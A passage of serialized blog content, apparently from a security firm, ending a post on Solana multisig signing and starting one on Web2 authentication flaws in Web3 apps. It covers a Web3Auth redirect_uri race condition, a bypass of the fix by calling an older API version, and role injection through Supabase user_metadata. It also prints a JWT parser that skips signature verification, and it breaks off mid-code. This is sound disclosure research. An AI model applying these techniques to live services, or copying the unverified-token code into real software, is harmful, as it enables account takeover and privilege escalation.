style":262},[70951],{"type":29,"value":70952},"evil_nonce_authority",{"type":23,"tag":230,"props":70954,"children":70955},{"style":274},[70956],{"type":29,"value":17502},{"type":23,"tag":230,"props":70958,"children":70959},{"style":268},[70960],{"type":29,"value":5448},{"type":23,"tag":230,"props":70962,"children":70963},{"style":262},[70964],{"type":29,"value":70965},"nonce_account",{"type":23,"tag":230,"props":70967,"children":70968},{"style":274},[70969],{"type":29,"value":684},{"type":23,"tag":230,"props":70971,"children":70972},{"style":268},[70973],{"type":29,"value":5448},{"type":23,"tag":230,"props":70975,"children":70976},{"style":262},[70977],{"type":29,"value":70952},{"type":23,"tag":230,"props":70979,"children":70980},{"style":274},[70981],{"type":29,"value":4516},{"type":23,"tag":230,"props":70983,"children":70984},{"class":232,"line":280},[70985,70989,70994],{"type":23,"tag":230,"props":70986,"children":70987},{"style":268},[70988],{"type":29,"value":5506},{"type":23,"tag":230,"props":70990,"children":70991},{"style":294},[70992],{"type":29,"value":70993},"serialize",{"type":23,"tag":230,"props":70995,"children":70996},{"style":274},[70997],{"type":29,"value":2140},{"type":23,"tag":32,"props":70999,"children":71000},{},[71001,71003,71010],{"type":29,"value":71002},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":23,"tag":181,"props":71004,"children":71007},{"href":71005,"rel":71006},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[185],[71008],{"type":29,"value":71009},"logs the fee-payer here",{"type":29,"value":312},{"type":23,"tag":220,"props":71012,"children":71014},{"className":18839,"code":71013,"language":2148,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[71015],{"type":23,"tag":71,"props":71016,"children":71017},{"__ignoreMap":7},[71018,71077,71133],{"type":23,"tag":230,"props":71019,"children":71020},{"class":232,"line":233},[71021,71025,71030,71034,71038,71043,71047,71052,71056,71060,71064,71068,71073],{"type":23,"tag":230,"props":71022,"children":71023},{"style":256},[71024],{"type":29,"value":31992},{"type":23,"tag":230,"props":71026,"children":71027},{"style":294},[71028],{"type":29,"value":71029}," print_config_show_authority",{"type":23,"tag":230,"props":71031,"children":71032},{"style":274},[71033],{"type":29,"value":302},{"type":23,"tag":230,"props":71035,"children":71036},{"style":256},[71037],{"type":29,"value":259},{"type":23,"tag":230,"props":71039,"children":71040},{"style":274},[71041],{"type":29,"value":71042}," PrintConfig",{"type":23,"tag":230,"props":71044,"children":71045},{"style":268},[71046],{"type":29,"value":6909},{"type":23,"tag":230,"props":71048,"children":71049},{"style":262},[71050],{"type":29,"value":71051}," print_config",{"type":23,"tag":230,"props":71053,"children":71054},{"style":274},[71055],{"type":29,"value":684},{"type":23,"tag":230,"props":71057,"children":71058},{"style":256},[71059],{"type":29,"value":259},{"type":23,"tag":230,"props":71061,"children":71062},{"style":274},[71063],{"type":29,"value":23172},{"type":23,"tag":230,"props":71065,"children":71066},{"style":268},[71067],{"type":29,"value":6909},{"type":23,"tag":230,"props":71069,"children":71070},{"style":262},[71071],{"type":29,"value":71072}," authority",{"type":23,"tag":230,"props":71074,"children":71075},{"style":274},[71076],{"type":29,"value":827},{"type":23,"tag":230,"props":71078,"children":71079},{"class":232,"line":243},[71080,71084,71088,71092,71097,71101,71105,71110,71114,71119,71123,71128],{"type":23,"tag":230,"props":71081,"children":71082},{"style":866},[71083],{"type":29,"value":4427},{"type":23,"tag":230,"props":71085,"children":71086},{"style":262},[71087],{"type":29,"value":71051},{"type":23,"tag":230,"props":71089,"children":71090},{"style":274},[71091],{"type":29,"value":16084},{"type":23,"tag":230,"props":71093,"children":71094},{"style":262},[71095],{"type":29,"value":71096},"expert_mode",{"type":23,"tag":230,"props":71098,"children":71099},{"style":268},[71100],{"type":29,"value":4014},{"type":23,"tag":230,"props":71102,"children":71103},{"style":268},[71104],{"type":29,"value":15193},{"type":23,"tag":230,"props":71106,"children":71107},{"style":294},[71108],{"type":29,"value":71109},"pubkeys_equal",{"type":23,"tag":230,"props":71111,"children":71112},{"style":274},[71113],{"type":29,"value":302},{"type":23,"tag":230,"props":71115,"children":71116},{"style":262},[71117],{"type":29,"value":71118},"print_config",{"type":23,"tag":230,"props":71120,"children":71121},{"style":274},[71122],{"type":29,"value":16084},{"type":23,"tag":230,"props":71124,"children":71125},{"style":262},[71126],{"type":29,"value":71127},"signer_pubkey",{"type":23,"tag":230,"props":71129,"children":71130},{"style":274},[71131],{"type":29,"value":71132},", authority);\n",{"type":23,"tag":230,"props":71134,"children":71135},{"class":232,"line":252},[71136],{"type":23,"tag":230,"props":71137,"children":71138},{"style":274},[71139],{"type":29,"value":975},{"type":23,"tag":32,"props":71141,"children":71142},{},[71143],{"type":29,"value":71144},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":23,"tag":32,"props":71146,"children":71147},{},[71148],{"type":29,"value":71149},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":23,"tag":32,"props":71151,"children":71152},{},[71153],{"type":29,"value":71154},"We can then use the following procedure.",{"type":23,"tag":144,"props":71156,"children":71157},{},[71158,71163,71168,71173,71178],{"type":23,"tag":102,"props":71159,"children":71160},{},[71161],{"type":29,"value":71162},"Ensure all signers have no durable nonce accounts.",{"type":23,"tag":102,"props":71164,"children":71165},{},[71166],{"type":29,"value":71167},"The first signer signs and submits the transaction.",{"type":23,"tag":102,"props":71169,"children":71170},{},[71171],{"type":29,"value":71172},"Wait two minutes for all recent blockhashes to expire.",{"type":23,"tag":102,"props":71174,"children":71175},{},[71176],{"type":29,"value":71177},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":23,"tag":102,"props":71179,"children":71180},{},[71181],{"type":29,"value":71182},"Repeat steps 2 to 4 for each signer",{"type":23,"tag":24,"props":71184,"children":71186},{"id":71185},"beyond",[71187],{"type":29,"value":71188},"Beyond",{"type":23,"tag":32,"props":71190,"children":71191},{},[71192],{"type":29,"value":71193},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":23,"tag":32,"props":71195,"children":71196},{},[71197,71199,71206],{"type":29,"value":71198},"For example, pcaversaccio wrote a tool to ",{"type":23,"tag":181,"props":71200,"children":71203},{"href":71201,"rel":71202},"https://github.com/pcaversaccio/safe-tx-hashes-util",[185],[71204],{"type":29,"value":71205},"validate Safe transaction hashes",{"type":29,"value":71207},". As the space matures, we hope more open source tooling will come to light.",{"type":23,"tag":20741,"props":71209,"children":71211},{"className":71210,"dataFootnotes":7},[20744],[71212,71217],{"type":23,"tag":24,"props":71213,"children":71215},{"className":71214,"id":17805},[20749],[71216],{"type":29,"value":20752},{"type":23,"tag":144,"props":71218,"children":71219},{},[71220],{"type":23,"tag":102,"props":71221,"children":71222},{"id":32673},[71223,71225,71233,71235],{"type":29,"value":71224},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":23,"tag":181,"props":71226,"children":71230},{"href":71227,"rel":71228,":style":71229},"https://twitter.com/PierreArowana",[185],"color: #B1D0EE; text-decoration: underline;",[71231],{"type":29,"value":71232},"@PierreArowana",{"type":29,"value":71234}," for pointing this out to me. ",{"type":23,"tag":181,"props":71236,"children":71238},{"href":32701,"ariaLabel":20855,"className":71237,"dataFootnoteBackref":7},[20857],[71239],{"type":29,"value":20860},{"type":23,"tag":5178,"props":71241,"children":71242},{},[71243],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":71245},[71246,71250,71251,71252],{"id":69442,"depth":243,"text":69445,"children":71247},[71248,71249],{"id":69453,"depth":252,"text":69456},{"id":69732,"depth":252,"text":69735},{"id":70453,"depth":243,"text":70456},{"id":71185,"depth":243,"text":71188},{"id":17805,"depth":243,"text":20752},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":71257,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":71258,"description":71259,"date":71260,"author":71261,"image":71262,"isFeatured":18,"onBlogPage":18,"tags":71264,"body":71265,"_type":5202,"_id":72963,"_source":5204,"_file":72964,"_stem":72965,"_extension":5207},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[11,12],{"src":71263},"/posts/web2-in-web3/title.jpg",[34435],{"type":20,"children":71266,"toc":72945},[71267,71272,71277,71282,71308,71314,71319,71325,71346,71352,71357,71364,71377,71407,71413,71457,71464,71470,71503,71524,71532,71551,71558,71563,71569,71574,71579,71604,71609,71615,71621,71642,71648,71675,71703,71710,71715,71720,72065,72069,72091,72097,72118,72132,72145,72150,72166,72171,72900,72905,72910,72915,72927,72931,72936,72941],{"type":23,"tag":32,"props":71268,"children":71269},{},[71270],{"type":29,"value":71271},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":23,"tag":32,"props":71273,"children":71274},{},[71275],{"type":29,"value":71276},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":23,"tag":32,"props":71278,"children":71279},{},[71280],{"type":29,"value":71281},"In this article, we will discuss three cases we discovered:",{"type":23,"tag":144,"props":71283,"children":71284},{},[71285,71290,71303],{"type":23,"tag":102,"props":71286,"children":71287},{},[71288],{"type":29,"value":71289},"OAuth Logic Vulnerability on an Authentication Provider",{"type":23,"tag":102,"props":71291,"children":71292},{},[71293,71295,71301],{"type":29,"value":71294},"Supabase ",{"type":23,"tag":71,"props":71296,"children":71298},{"className":71297},[],[71299],{"type":29,"value":71300},"user_metadata",{"type":29,"value":71302}," misconfiguration",{"type":23,"tag":102,"props":71304,"children":71305},{},[71306],{"type":29,"value":71307},"OAuth abuse in localhost development environment",{"type":23,"tag":24,"props":71309,"children":71311},{"id":71310},"abusing-oauth-authentication-logic",[71312],{"type":29,"value":71313},"Abusing OAuth Authentication Logic",{"type":23,"tag":32,"props":71315,"children":71316},{},[71317],{"type":29,"value":71318},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":23,"tag":59,"props":71320,"children":71322},{"id":71321},"web3auth-introduction",[71323],{"type":29,"value":71324},"Web3Auth Introduction",{"type":23,"tag":32,"props":71326,"children":71327},{},[71328,71335,71337,71344],{"type":23,"tag":181,"props":71329,"children":71332},{"href":71330,"rel":71331},"https://web3auth.io/",[185],[71333],{"type":29,"value":71334},"Web3Auth",{"type":29,"value":71336}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":23,"tag":181,"props":71338,"children":71341},{"href":71339,"rel":71340},"https://oauth.net/2/",[185],[71342],{"type":29,"value":71343},"OAuth2",{"type":29,"value":71345}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":23,"tag":59,"props":71347,"children":71349},{"id":71348},"web3auth-authentication-flow",[71350],{"type":29,"value":71351},"Web3Auth Authentication flow",{"type":23,"tag":32,"props":71353,"children":71354},{},[71355],{"type":29,"value":71356},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":23,"tag":32,"props":71358,"children":71359},{},[71360],{"type":23,"tag":93,"props":71361,"children":71363},{"alt":52351,"src":71362},"/posts/web2-in-web3/auth-flow.png",[],{"type":23,"tag":32,"props":71365,"children":71366},{},[71367,71369,71375],{"type":29,"value":71368},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":23,"tag":71,"props":71370,"children":71372},{"className":71371},[],[71373],{"type":29,"value":71374},"client_id",{"type":29,"value":71376},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":23,"tag":32,"props":71378,"children":71379},{},[71380,71382,71388,71390,71396,71398,71405],{"type":29,"value":71381},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":23,"tag":71,"props":71383,"children":71385},{"className":71384},[],[71386],{"type":29,"value":71387},"/start",{"type":29,"value":71389}," validates the ",{"type":23,"tag":71,"props":71391,"children":71393},{"className":71392},[],[71394],{"type":29,"value":71395},"redirect_url",{"type":29,"value":71397}," against the configured ",{"type":23,"tag":181,"props":71399,"children":71402},{"href":71400,"rel":71401},"https://web3auth.io/docs/dashboard-setup/whitelisting",[185],[71403],{"type":29,"value":71404},"whitelist",{"type":29,"value":71406}," to ensure it matches one of the allowed URLs.",{"type":23,"tag":59,"props":71408,"children":71410},{"id":71409},"in-transit-cryptography",[71411],{"type":29,"value":71412},"In-transit Cryptography",{"type":23,"tag":32,"props":71414,"children":71415},{},[71416,71418,71425,71427,71433,71435,71441,71443,71448,71450,71455],{"type":29,"value":71417},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":23,"tag":181,"props":71419,"children":71422},{"href":71420,"rel":71421},"https://en.wikipedia.org/wiki/Key_(cryptography)",[185],[71423],{"type":29,"value":71424},"cryptographic key",{"type":29,"value":71426}," is derived from the ",{"type":23,"tag":71,"props":71428,"children":71430},{"className":71429},[],[71431],{"type":29,"value":71432},"sessionId",{"type":29,"value":71434},"  sent in the ",{"type":23,"tag":71,"props":71436,"children":71438},{"className":71437},[],[71439],{"type":29,"value":71440},"GET",{"type":29,"value":71442}," parameter to the ",{"type":23,"tag":71,"props":71444,"children":71446},{"className":71445},[],[71447],{"type":29,"value":71387},{"type":29,"value":71449},". Since the ",{"type":23,"tag":71,"props":71451,"children":71453},{"className":71452},[],[71454],{"type":29,"value":71432},{"type":29,"value":71456}," can be controlled, it allows us to send and receive data from the session server.",{"type":23,"tag":32,"props":71458,"children":71459},{},[71460],{"type":23,"tag":93,"props":71461,"children":71463},{"alt":52351,"src":71462},"/posts/web2-in-web3/image-2.png",[],{"type":23,"tag":59,"props":71465,"children":71467},{"id":71466},"race-condition",[71468],{"type":29,"value":71469},"Race Condition",{"type":23,"tag":32,"props":71471,"children":71472},{},[71473,71475,71480,71482,71488,71490,71495,71497,71502],{"type":29,"value":71474},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":23,"tag":71,"props":71476,"children":71478},{"className":71477},[],[71479],{"type":29,"value":71387},{"type":29,"value":71481}," and later used in the ",{"type":23,"tag":71,"props":71483,"children":71485},{"className":71484},[],[71486],{"type":29,"value":71487},"/end",{"type":29,"value":71489}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":23,"tag":71,"props":71491,"children":71493},{"className":71492},[],[71494],{"type":29,"value":71387},{"type":29,"value":71496},") but before  use (",{"type":23,"tag":71,"props":71498,"children":71500},{"className":71499},[],[71501],{"type":29,"value":71487},{"type":29,"value":23057},{"type":23,"tag":32,"props":71504,"children":71505},{},[71506,71508,71515,71517,71522],{"type":29,"value":71507},"To exploit this ",{"type":23,"tag":181,"props":71509,"children":71512},{"href":71510,"rel":71511},"https://portswigger.net/web-security/race-conditions",[185],[71513],{"type":29,"value":71514},"race condition",{"type":29,"value":71516},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":23,"tag":71,"props":71518,"children":71520},{"className":71519},[],[71521],{"type":29,"value":71432},{"type":29,"value":71523}," but with modified malicious parameters.",{"type":23,"tag":32,"props":71525,"children":71526},{},[71527],{"type":23,"tag":2302,"props":71528,"children":71529},{},[71530],{"type":29,"value":71531},"What can be modified to achieve something impactful?",{"type":23,"tag":32,"props":71533,"children":71534},{},[71535,71537,71543,71545,71550],{"type":29,"value":71536},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":23,"tag":71,"props":71538,"children":71540},{"className":71539},[],[71541],{"type":29,"value":71542},"redirect_uri",{"type":29,"value":71544}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":23,"tag":71,"props":71546,"children":71548},{"className":71547},[],[71549],{"type":29,"value":71374},{"type":29,"value":312},{"type":23,"tag":32,"props":71552,"children":71553},{},[71554],{"type":23,"tag":93,"props":71555,"children":71557},{"alt":52351,"src":71556},"/posts/web2-in-web3/image-3.png",[],{"type":23,"tag":32,"props":71559,"children":71560},{},[71561],{"type":29,"value":71562},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":23,"tag":59,"props":71564,"children":71566},{"id":71565},"patch-bypass",[71567],{"type":29,"value":71568},"Patch & Bypass",{"type":23,"tag":32,"props":71570,"children":71571},{},[71572],{"type":29,"value":71573},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":23,"tag":32,"props":71575,"children":71576},{},[71577],{"type":29,"value":71578},"To bypass the fix we were able to change the version in the URL:",{"type":23,"tag":98,"props":71580,"children":71581},{},[71582,71593],{"type":23,"tag":102,"props":71583,"children":71584},{},[71585,71591],{"type":23,"tag":71,"props":71586,"children":71588},{"className":71587},[],[71589],{"type":29,"value":71590},"https://auth.web3auth.io/v8/start",{"type":29,"value":71592}," (latest version)",{"type":23,"tag":102,"props":71594,"children":71595},{},[71596,71602],{"type":23,"tag":71,"props":71597,"children":71599},{"className":71598},[],[71600],{"type":29,"value":71601},"https://auth.web3auth.io/v6/start",{"type":29,"value":71603}," (bypass)",{"type":23,"tag":32,"props":71605,"children":71606},{},[71607],{"type":29,"value":71608},"We reported this issue, and it was addressed just as quickly!",{"type":23,"tag":24,"props":71610,"children":71612},{"id":71611},"supabase-metadata-manipulation",[71613],{"type":29,"value":71614},"Supabase metadata manipulation",{"type":23,"tag":59,"props":71616,"children":71618},{"id":71617},"supabase-authentication-flow",[71619],{"type":29,"value":71620},"Supabase Authentication flow",{"type":23,"tag":32,"props":71622,"children":71623},{},[71624,71631,71633,71640],{"type":23,"tag":181,"props":71625,"children":71628},{"href":71626,"rel":71627},"https://supabase.com/docs/guides/auth",[185],[71629],{"type":29,"value":71630},"Supabase",{"type":29,"value":71632}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":23,"tag":181,"props":71634,"children":71637},{"href":71635,"rel":71636},"https://jwt.io/",[185],[71638],{"type":29,"value":71639},"JWT",{"type":29,"value":71641}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":23,"tag":59,"props":71643,"children":71645},{"id":71644},"jwt-verification",[71646],{"type":29,"value":71647},"JWT verification",{"type":23,"tag":32,"props":71649,"children":71650},{},[71651,71653,71658,71659,71665,71667,71673],{"type":29,"value":71652},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":23,"tag":71,"props":71654,"children":71656},{"className":71655},[],[71657],{"type":29,"value":71300},{"type":29,"value":112},{"type":23,"tag":71,"props":71660,"children":71662},{"className":71661},[],[71663],{"type":29,"value":71664},"identity_data",{"type":29,"value":71666},", in a signup request by manipulating the input inside the ",{"type":23,"tag":71,"props":71668,"children":71670},{"className":71669},[],[71671],{"type":29,"value":71672},"\"data\": {}",{"type":29,"value":71674}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":23,"tag":32,"props":71676,"children":71677},{},[71678,71680,71686,71687,71693,71695,71701],{"type":29,"value":71679},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":23,"tag":71,"props":71681,"children":71683},{"className":71682},[],[71684],{"type":29,"value":71685},"\"role\": \"admin\"",{"type":29,"value":2769},{"type":23,"tag":71,"props":71688,"children":71690},{"className":71689},[],[71691],{"type":29,"value":71692},"\"email_verified\": true",{"type":29,"value":71694},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":23,"tag":71,"props":71696,"children":71698},{"className":71697},[],[71699],{"type":29,"value":71700},"\"test\": \"test\"",{"type":29,"value":71702},", enabling us to inject arbitrary data into the final JWT token.",{"type":23,"tag":32,"props":71704,"children":71705},{},[71706],{"type":23,"tag":93,"props":71707,"children":71709},{"alt":52351,"src":71708},"/posts/web2-in-web3/image-4.png",[],{"type":23,"tag":32,"props":71711,"children":71712},{},[71713],{"type":29,"value":71714},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":23,"tag":32,"props":71716,"children":71717},{},[71718],{"type":29,"value":71719},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":23,"tag":220,"props":71721,"children":71723},{"className":33669,"code":71722,"language":33671,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[71724],{"type":23,"tag":71,"props":71725,"children":71726},{"__ignoreMap":7},[71727,71752,71764,71833,71882,71930,71975,71998,72035,72051,72058],{"type":23,"tag":230,"props":71728,"children":71729},{"class":232,"line":233},[71730,71734,71739,71743,71748],{"type":23,"tag":230,"props":71731,"children":71732},{"style":256},[71733],{"type":29,"value":3381},{"type":23,"tag":230,"props":71735,"children":71736},{"style":294},[71737],{"type":29,"value":71738}," parseSupaBase",{"type":23,"tag":230,"props":71740,"children":71741},{"style":274},[71742],{"type":29,"value":302},{"type":23,"tag":230,"props":71744,"children":71745},{"style":262},[71746],{"type":29,"value":71747},"token",{"type":23,"tag":230,"props":71749,"children":71750},{"style":274},[71751],{"type":29,"value":827},{"type":23,"tag":230,"props":71753,"children":71754},{"class":232,"line":243},[71755,71760],{"type":23,"tag":230,"props":71756,"children":71757},{"style":866},[71758],{"type":29,"value":71759},"    try",{"type":23,"tag":230,"props":71761,"children":71762},{"style":274},[71763],{"type":29,"value":277},{"type":23,"tag":230,"props":71765,"children":71766},{"class":232,"line":252},[71767,71771,71775,71780,71784,71789,71793,71798,71802,71806,71811,71815,71820,71824,71829],{"type":23,"tag":230,"props":71768,"children":71769},{"style":256},[71770],{"type":29,"value":35194},{"type":23,"tag":230,"props":71772,"children":71773},{"style":274},[71774],{"type":29,"value":25347},{"type":23,"tag":230,"props":71776,"children":71777},{"style":262},[71778],{"type":29,"value":71779},"header",{"type":23,"tag":230,"props":71781,"children":71782},{"style":274},[71783],{"type":29,"value":684},{"type":23,"tag":230,"props":71785,"children":71786},{"style":262},[71787],{"type":29,"value":71788},"payload",{"type":23,"tag":230,"props":71790,"children":71791},{"style":274},[71792],{"type":29,"value":684},{"type":23,"tag":230,"props":71794,"children":71795},{"style":262},[71796],{"type":29,"value":71797},"signature",{"type":23,"tag":230,"props":71799,"children":71800},{"style":274},[71801],{"type":29,"value":10997},{"type":23,"tag":230,"props":71803,"children":71804},{"style":268},[71805],{"type":29,"value":863},{"type":23,"tag":230,"props":71807,"children":71808},{"style":262},[71809],{"type":29,"value":71810}," token",{"type":23,"tag":230,"props":71812,"children":71813},{"style":274},[71814],{"type":29,"value":312},{"type":23,"tag":230,"props":71816,"children":71817},{"style":294},[71818],{"type":29,"value":71819},"split",{"type":23,"tag":230,"props":71821,"children":71822},{"style":274},[71823],{"type":29,"value":302},{"type":23,"tag":230,"props":71825,"children":71826},{"style":380},[71827],{"type":29,"value":71828},"'.'",{"type":23,"tag":230,"props":71830,"children":71831},{"style":274},[71832],{"type":29,"value":753},{"type":23,"tag":230,"props":71834,"children":71835},{"class":232,"line":280},[71836,71840,71845,71849,71853,71857,71861,71865,71870,71874,71878],{"type":23,"tag":230,"props":71837,"children":71838},{"style":256},[71839],{"type":29,"value":35194},{"type":23,"tag":230,"props":71841,"children":71842},{"style":262},[71843],{"type":29,"value":71844}," decodedHeader",{"type":23,"tag":230,"props":71846,"children":71847},{"style":268},[71848],{"type":29,"value":271},{"type":23,"tag":230,"props":71850,"children":71851},{"style":262},[71852],{"type":29,"value":2209},{"type":23,"tag":230,"props":71854,"children":71855},{"style":274},[71856],{"type":29,"value":312},{"type":23,"tag":230,"props":71858,"children":71859},{"style":294},[71860],{"type":29,"value":3916},{"type":23,"tag":230,"props":71862,"children":71863},{"style":274},[71864],{"type":29,"value":302},{"type":23,"tag":230,"props":71866,"children":71867},{"style":294},[71868],{"type":29,"value":71869},"atob",{"type":23,"tag":230,"props":71871,"children":71872},{"style":274},[71873],{"type":29,"value":302},{"type":23,"tag":230,"props":71875,"children":71876},{"style":262},[71877],{"type":29,"value":71779},{"type":23,"tag":230,"props":71879,"children":71880},{"style":274},[71881],{"type":29,"value":9559},{"type":23,"tag":230,"props":71883,"children":71884},{"class":232,"line":334},[71885,71889,71894,71898,71902,71906,71910,71914,71918,71922,71926],{"type":23,"tag":230,"props":71886,"children":71887},{"style":256},[71888],{"type":29,"value":35194},{"type":23,"tag":230,"props":71890,"children":71891},{"style":262},[71892],{"type":29,"value":71893}," decodedPayload",{"type":23,"tag":230,"props":71895,"children":71896},{"style":268},[71897],{"type":29,"value":271},{"type":23,"tag":230,"props":71899,"children":71900},{"style":262},[71901],{"type":29,"value":2209},{"type":23,"tag":230,"props":71903,"children":71904},{"style":274},[71905],{"type":29,"value":312},{"type":23,"tag":230,"props":71907,"children":71908},{"style":294},[71909],{"type":29,"value":3916},{"type":23,"tag":230,"props":71911,"children":71912},{"style":274},[71913],{"type":29,"value":302},{"type":23,"tag":230,"props":71915,"children":71916},{"style":294},[71917],{"type":29,"value":71869},{"type":23,"tag":230,"props":71919,"children":71920},{"style":274},[71921],{"type":29,"value":302},{"type":23,"tag":230,"props":71923,"children":71924},{"style":262},[71925],{"type":29,"value":71788},{"type":23,"tag":230,"props":71927,"children":71928},{"style":274},[71929],{"type":29,"value":9559},{"type":23,"tag":230,"props":71931,"children":71932},{"class":232,"line":371},[71933,71937,71941,71946,71950,71954,71959,71963,71967,71971],{"type":23,"tag":230,"props":71934,"children":71935},{"style":866},[71936],{"type":29,"value":3554},{"type":23,"tag":230,"props":71938,"children":71939},{"style":274},[71940],{"type":29,"value":848},{"type":23,"tag":230,"props":71942,"children":71943},{"style":262},[71944],{"type":29,"value":71945},"header:",{"type":23,"tag":230,"props":71947,"children":71948},{"style":262},[71949],{"type":29,"value":71844},{"type":23,"tag":230,"props":71951,"children":71952},{"style":274},[71953],{"type":29,"value":684},{"type":23,"tag":230,"props":71955,"children":71956},{"style":262},[71957],{"type":29,"value":71958},"payload:",{"type":23,"tag":230,"props":71960,"children":71961},{"style":262},[71962],{"type":29,"value":71893},{"type":23,"tag":230,"props":71964,"children":71965},{"style":274},[71966],{"type":29,"value":684},{"type":23,"tag":230,"props":71968,"children":71969},{"style":262},[71970],{"type":29,"value":71797},{"type":23,"tag":230,"props":71972,"children":71973},{"style":274},[71974],{"type":29,"value":1323},{"type":23,"tag":230,"props":71976,"children":71977},{"class":232,"line":391},[71978,71982,71986,71990,71994],{"type":23,"tag":230,"props":71979,"children":71980},{"style":274},[71981],{"type":29,"value":18103},{"type":23,"tag":230,"props":71983,"children":71984},{"style":866},[71985],{"type":29,"value":50183},{"type":23,"tag":230,"props":71987,"children":71988},{"style":274},[71989],{"type":29,"value":664},{"type":23,"tag":230,"props":71991,"children":71992},{"style":262},[71993],{"type":29,"value":17189},{"type":23,"tag":230,"props":71995,"children":71996},{"style":274},[71997],{"type":29,"value":827},{"type":23,"tag":230,"props":71999,"children":72000},{"class":232,"line":400},[72001,72006,72010,72014,72018,72023,72027,72031],{"type":23,"tag":230,"props":72002,"children":72003},{"style":262},[72004],{"type":29,"value":72005},"        console",{"type":23,"tag":230,"props":72007,"children":72008},{"style":274},[72009],{"type":29,"value":312},{"type":23,"tag":230,"props":72011,"children":72012},{"style":294},[72013],{"type":29,"value":17189},{"type":23,"tag":230,"props":72015,"children":72016},{"style":274},[72017],{"type":29,"value":302},{"type":23,"tag":230,"props":72019,"children":72020},{"style":380},[72021],{"type":29,"value":72022},"'Error parsing token:'",{"type":23,"tag":230,"props":72024,"children":72025},{"style":274},[72026],{"type":29,"value":684},{"type":23,"tag":230,"props":72028,"children":72029},{"style":262},[72030],{"type":29,"value":17189},{"type":23,"tag":230,"props":72032,"children":72033},{"style":274},[72034],{"type":29,"value":753},{"type":23,"tag":230,"props":72036,"children":72037},{"class":232,"line":444},[72038,72042,72047],{"type":23,"tag":230,"props":72039,"children":72040},{"style":866},[72041],{"type":29,"value":3554},{"type":23,"tag":230,"props":72043,"children":72044},{"style":256},[72045],{"type":29,"value":72046}," 